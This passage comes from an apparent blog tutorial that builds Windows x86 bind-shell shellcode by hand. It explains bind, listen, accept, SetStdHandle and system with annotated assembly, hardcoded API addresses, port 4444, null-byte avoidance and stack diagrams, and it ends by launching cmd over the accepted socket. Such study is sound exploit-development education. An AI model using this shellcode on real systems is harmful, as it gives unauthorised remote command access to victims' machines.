&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10&lt;/span&gt;            &lt;span class=&quot;c1&quot;&gt;; Arg3 (namelen) = 16 bytes&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg2 (*addr) = eax -&amp;gt; 0x5c110002 (5c11 = 4444, 0002 = AF_INET)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg1 (s) = WSASocket() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71AB4480&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; Address to bind()&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The stack looks like this right before calling bind():&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;   Addr        Value
   00000001    00000064 (Arg1, SOCKET s)
   00000002    00000004 (Arg2, const sockaddr *addr) ---
   00000003    00000010 (Arg3, int namelenn)            |
-&amp;gt; 00000004    5c110002                                 |
|  00000005    00000000 (INADDR_ANY)                    | 
--------------------------------------------------------
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To make the *addr argument more clear, here is what it would look like in C:&lt;/p&gt;
&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;in_addr&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;union&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;u_char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s_b1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;u_char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s_b2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;u_char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s_b3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;u_char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s_b4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;S_un_b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;u_short&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s_w1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
      &lt;span class=&quot;n&quot;&gt;u_short&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s_w2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;S_un_w&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;u_long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;S_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;S_un&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockaddr_in&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;short&lt;/span&gt;   &lt;span class=&quot;n&quot;&gt;sin_family&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;u_short&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sin_port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt;  &lt;span class=&quot;n&quot;&gt;in_addr&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sin_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;    &lt;span class=&quot;n&quot;&gt;sin_zero&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sockaddr_in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_family&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;           &lt;span class=&quot;err&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0002&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;INADDR_ANY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;   &lt;span class=&quot;err&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x00000000&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;server&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sin_port&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;htons&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4444&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;         &lt;span class=&quot;err&quot;&gt;#&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x5c11&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;system-call-listen&quot;&gt;System call: listen&lt;/h2&gt;

&lt;p&gt;Documentation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-listen&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-listen&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Syntax:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;listen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SOCKET&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;backlog&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To get incoming connections, we need to call the listen() function, which is very simple to implement.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x1&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg2 (backlog) = 1         &lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg1 (s) = WSASocket() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71AB8CD3&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; Address to listen()   &lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;system-call-accept&quot;&gt;System call: accept&lt;/h2&gt;

&lt;p&gt;Documentation: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-accept&quot;&gt;https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-accept&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Syntax:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;SOCKET&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;sockaddr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;addrlen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As the docs says, “The accept function permits an incoming connection attempt on a socket”. We need to store the return value here, which gets stored in EAX. We store a copy in EBX for later use.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;xor&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Clear eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg3 (addrlen) = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg2 (*addr) = 0&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg1 (s) = WSASocket() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x71AC1040&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; Address to accept()&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;         &lt;span class=&quot;c1&quot;&gt;; Store accept() handler&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now finally we have the socket up and running. Time to implement the shell part.&lt;/p&gt;

&lt;h2 id=&quot;system-call-setstdhandle&quot;&gt;System call: SetStdHandle&lt;/h2&gt;

&lt;p&gt;Docs: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/console/setstdhandle&quot;&gt;https://docs.microsoft.com/en-us/windows/console/setstdhandle&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Syntax:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;SetStdHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;_In_&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;nStdHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;_In_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;HANDLE&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;hHandle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We will call this function three times to set STD_INPUT, STD_OUTPUT and STD_ERROR to the accepted socket connection.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x7c81d363&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;; Address to SetStdHandle()&lt;/span&gt;

&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg2 (hHandle) = accept() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffff6&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; Arg1 (nStdHandle) = -0A (STD_INPUT)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
          
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg2 (hHandle) = accept() handler&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffff5&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; Arg1 (nStdHandle) = -0B (STD_OUTPUT)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
          
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ebx&lt;/span&gt;             &lt;span class=&quot;c1&quot;&gt;; Arg2 (hHandle) = accept() handler          &lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xfffffff4&lt;/span&gt;      &lt;span class=&quot;c1&quot;&gt;; Arg1 (nStdHandle) = -0C (STD_ERROR)&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;edx&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;system-call-system&quot;&gt;System call: system&lt;/h2&gt;

&lt;p&gt;Documentation: &lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/system-wsystem?view=vs-2019&quot;&gt;https://docs.microsoft.com/en-us/cpp/c-runtime-library/reference/system-wsystem?view=vs-2019&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Syntax:&lt;/p&gt;
&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;system&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;ch&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;ar&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;command&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The final system call we need to call is the actual execution of OS commands. It takes one argument which is the a pointer to a command string. If you remember earlier, we had to deal with a filename string needed to be terminated with a null byte. Here we will also do some maneuvering to mitigate null bytes in the code.&lt;/p&gt;

&lt;div class=&quot;language-nasm highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x646d6341&lt;/span&gt;   &lt;span class=&quot;c1&quot;&gt;; Store string &quot;Acmd&quot; 5 bytes from top of stack&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; Store pointer to the string &quot;cmd\0&quot; in eax&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;lea&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;esp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mh&quot;&gt;0x4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;                &lt;span class=&quot;c1&quot;&gt;; Manually update esp&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;push&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;                          &lt;span class=&quot;c1&quot;&gt;; Arg1 (*command) = Pointer to &quot;cmd\0&quot;&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;mov&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x77c293c7&lt;/span&gt;               &lt;span class=&quot;c1&quot;&gt;; Address to system()&lt;/span&gt;
&lt;span class=&quot;nf&quot;&gt;call&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;this-is-the-stack-and-registers-for-each-operation&quot;&gt;This is the stack and registers for each operation:&lt;/h3&gt;

&lt;p&gt;Starting state, where ESP points to the *addr structure from the bind() function.&lt;/p&gt;

&lt;div class=&quot;language-perl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;       &lt;span class=&quot;nv&quot;&gt;Addr&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;Value&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE1C&lt;/span&gt;    &lt;span class=&quot;nv&quot;&gt;FFFFFFF4&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE20&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00000000&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;ESP&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE24&lt;/span&gt;    &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C110002&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE28&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00000000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mov DWORD [esp-0x5], 0x646d6341&lt;/code&gt;, the string “Acmd” is placed 5 bytes from ESP. Since the string only use 3 bytes of the “row” with only zeros, we have a clean null terminated “cmd” string on the stack.&lt;/p&gt;

&lt;div class=&quot;language-perl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;       &lt;span class=&quot;nv&quot;&gt;Addr&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;Value&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;Ascii&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE1C&lt;/span&gt;    &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FFFFF4&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;...A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE20&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00646&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D63&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;ESP&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE24&lt;/span&gt;    &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C110002&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE28&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00000000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lea eax, [esp-0x4]&lt;/code&gt; stores a pointer to the “cmd\0” string in EAX.&lt;/p&gt;

&lt;div class=&quot;language-perl highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;       &lt;span class=&quot;nv&quot;&gt;Addr&lt;/span&gt;        &lt;span class=&quot;nv&quot;&gt;Value&lt;/span&gt;      &lt;span class=&quot;nv&quot;&gt;Ascii&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE1C&lt;/span&gt;    &lt;span class=&quot;mi&quot;&gt;41&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FFFFF4&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;...A&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;EAX&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE20&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00646&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;D63&lt;/span&gt;   &lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;ESP&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE24&lt;/span&gt;    &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;C110002&lt;/span&gt;
       &lt;span class=&quot;mo&quot;&gt;0022&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;FE28&lt;/span&gt;    &lt;span class=&quot;mo&quot;&gt;00000000&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;lea esp, [esp-0x4]&lt;/code&gt; adjusts ESP, or else data will be overwritten when we push more values on the stack.&lt;/p&gt;

